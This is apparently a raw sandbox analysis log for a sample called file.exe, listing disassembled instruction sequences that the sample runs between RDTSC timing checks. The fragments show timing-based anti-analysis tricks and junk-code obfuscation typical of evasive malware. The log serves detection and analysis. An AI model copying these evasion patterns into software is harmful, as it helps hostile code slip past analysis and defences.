Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D75D8 second address: 12D75EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F6E3CB812ECh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA684 second address: 12DA689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DEFE5 second address: 12DF03F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c stc 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F6E3CB812E8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 jnp 00007F6E3CB812ECh 0x0000002f sub ebx, dword ptr [ebp+1244B586h] 0x00000035 push 00000000h 0x00000037 jbe 00007F6E3CB812EBh 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E007A second address: 12E0080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E1E09 second address: 12E1E0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0258 second address: 12E025C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E204B second address: 12E2050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E025C second address: 12E0266 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2E2F second address: 12E2E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF29C second address: 12DF2A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2E33 second address: 12E2E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E211F second address: 12E212C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2E37 second address: 12E2EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F6E3CB812E8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 call 00007F6E3CB812F8h 0x0000002b pop edi 0x0000002c mov ebx, dword ptr [ebp+122D2DBAh] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F6E3CB812E8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e mov bx, 85CAh 0x00000052 xchg eax, esi 0x00000053 push edx 0x00000054 jo 00007F6E3CB812E8h 0x0000005a push ecx 0x0000005b pop ecx 0x0000005c pop edx 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 ja 00007F6E3CB812ECh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2EC2 second address: 12E2EC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3023 second address: 12E3027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4EB4 second address: 12E4EBE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5EAA second address: 12E5EF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F6E3CB812E8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 pushad 0x00000027 mov dword ptr [ebp+122D1BA6h], esi 0x0000002d popad 0x0000002e push 00000000h 0x00000030 add edi, 5DAE9234h 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D1C50h], ecx 0x0000003e xchg eax, esi 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5EF8 second address: 12E5EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5EFC second address: 12E5F0F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6E3CB812EBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5F0F second address: 12E5F36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnc 00007F6E3CB7D004h 0x0000000e pushad 0x0000000f jmp 00007F6E3CB7CFF6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED29A second address: 12ED2CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jns 00007F6E3CB812E6h 0x00000013 jmp 00007F6E3CB812F7h 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12869C0 second address: 12869D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC951 second address: 12EC957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECAC9 second address: 12ECACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECACF second address: 12ECAF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F4h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F6E3CB812E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECAF3 second address: 12ECAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECAF7 second address: 12ECB24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6E3CB812F1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F6E3CB812EFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECB24 second address: 12ECB28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECB28 second address: 12ECB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F6E3CB812E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF47F second address: 12EF4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnc 00007F6E3CB7CFECh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F6E3CB7CFEFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF4A5 second address: 12EF4B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6E3CB812EEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F54F2 second address: 12F54F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5720 second address: 12F573B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F573B second address: 12F57B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F6E3CB7CFE6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 push eax 0x00000013 jne 00007F6E3CB7CFE6h 0x00000019 pop eax 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jnc 00007F6E3CB7CFFDh 0x00000025 mov eax, dword ptr [eax] 0x00000027 push ecx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b jmp 00007F6E3CB7CFF7h 0x00000030 popad 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F6E3CB7CFF2h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F57B0 second address: 12F57BA instructions: 0x00000000 rdtsc 0x00000002 je 00007F6E3CB812E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F57BA second address: 112190C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F6E3CB7CFE6h 0x00000009 jmp 00007F6E3CB7CFEBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop eax 0x00000012 jmp 00007F6E3CB7CFECh 0x00000017 push dword ptr [ebp+122D0651h] 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F6E3CB7CFE8h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 cmc 0x00000038 call dword ptr [ebp+122D296Ah] 0x0000003e pushad 0x0000003f mov dword ptr [ebp+122D1B8Fh], ebx 0x00000045 jmp 00007F6E3CB7CFF4h 0x0000004a xor eax, eax 0x0000004c clc 0x0000004d mov edx, dword ptr [esp+28h] 0x00000051 mov dword ptr [ebp+122D1B8Fh], ecx 0x00000057 mov dword ptr [ebp+122D3772h], eax 0x0000005d add dword ptr [ebp+122D1B8Fh], edx 0x00000063 mov esi, 0000003Ch 0x00000068 cmc 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d cld 0x0000006e lodsw 0x00000070 or dword ptr [ebp+122D1B8Fh], ecx 0x00000076 add eax, dword ptr [esp+24h] 0x0000007a cmc 0x0000007b mov dword ptr [ebp+122D2242h], eax 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 or dword ptr [ebp+122D2242h], eax 0x0000008b push eax 0x0000008c push eax 0x0000008d push edx 0x0000008e jp 00007F6E3CB7CFE8h 0x00000094 pushad 0x00000095 popad 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F94BC second address: 12F94C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F94C0 second address: 12F94CC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E3CB7CFE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F94CC second address: 12F94F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6E3CB812EFh 0x00000008 jmp 00007F6E3CB812EDh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F94F2 second address: 12F94F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9BE5 second address: 12F9BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9EEF second address: 12F9F0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6E3CB7CFF7h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9F0D second address: 12F9F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FA085 second address: 12FA0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB7CFF7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FA0A0 second address: 12FA0A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FA36E second address: 12FA378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6E3CB7CFE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FA668 second address: 12FA684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB812EDh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jg 00007F6E3CB812FCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13005BF second address: 13005C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13005C5 second address: 13005D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13005D4 second address: 13005D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300776 second address: 1300793 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6E3CB812E8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E3CB812F1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300793 second address: 13007A4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F6E3CB7CFE6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13008D8 second address: 13008DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300E5F second address: 1300E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300E63 second address: 1300E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6E3CB812E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F6E3CB812EEh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301151 second address: 1301174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301174 second address: 1301181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13012DC second address: 13012E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13012E2 second address: 13012EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13012EF second address: 13012F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130142B second address: 1301436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6E3CB812E6h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301436 second address: 1301452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF3h 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301452 second address: 1301458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13015D8 second address: 13015DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0721 second address: 12B0727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0727 second address: 12B0737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push edx 0x00000007 pushad 0x00000008 jnp 00007F6E3CB7CFE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304931 second address: 1304935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304935 second address: 130495A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6E3CB7CFF8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130495A second address: 130495E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130495E second address: 130496C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F6E3CB7CFE6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130496C second address: 1304972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304972 second address: 1304977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308FAE second address: 1308FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308FB4 second address: 1308FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F6E3CB7CFEAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307E9D second address: 1307EBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F6E3CB812FAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D11CA second address: 112190C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F6E3CB7CFF5h 0x0000000e pushad 0x0000000f jmp 00007F6E3CB7CFF2h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 nop 0x00000019 mov dword ptr [ebp+12469B7Ah], esi 0x0000001f push dword ptr [ebp+122D0651h] 0x00000025 mov ch, 38h 0x00000027 call dword ptr [ebp+122D296Ah] 0x0000002d pushad 0x0000002e mov dword ptr [ebp+122D1B8Fh], ebx 0x00000034 jmp 00007F6E3CB7CFF4h 0x00000039 xor eax, eax 0x0000003b clc 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 mov dword ptr [ebp+122D1B8Fh], ecx 0x00000046 mov dword ptr [ebp+122D3772h], eax 0x0000004c add dword ptr [ebp+122D1B8Fh], edx 0x00000052 mov esi, 0000003Ch 0x00000057 cmc 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c cld 0x0000005d lodsw 0x0000005f or dword ptr [ebp+122D1B8Fh], ecx 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 cmc 0x0000006a mov dword ptr [ebp+122D2242h], eax 0x00000070 mov ebx, dword ptr [esp+24h] 0x00000074 or dword ptr [ebp+122D2242h], eax 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d jp 00007F6E3CB7CFE8h 0x00000083 pushad 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1291 second address: 12D1295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1295 second address: 12D12DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F6E3CB7CFF7h 0x0000000c popad 0x0000000d pop eax 0x0000000e mov dword ptr [ebp+122D34A9h], ecx 0x00000014 push 3CB11500h 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007F6E3CB7CFFAh 0x00000021 jmp 00007F6E3CB7CFF4h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1401 second address: 12D1431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F6E3CB812FCh 0x0000000d jmp 00007F6E3CB812F6h 0x00000012 popad 0x00000013 mov dword ptr [esp], esi 0x00000016 mov cl, E9h 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1431 second address: 12D1435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1435 second address: 12D1439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
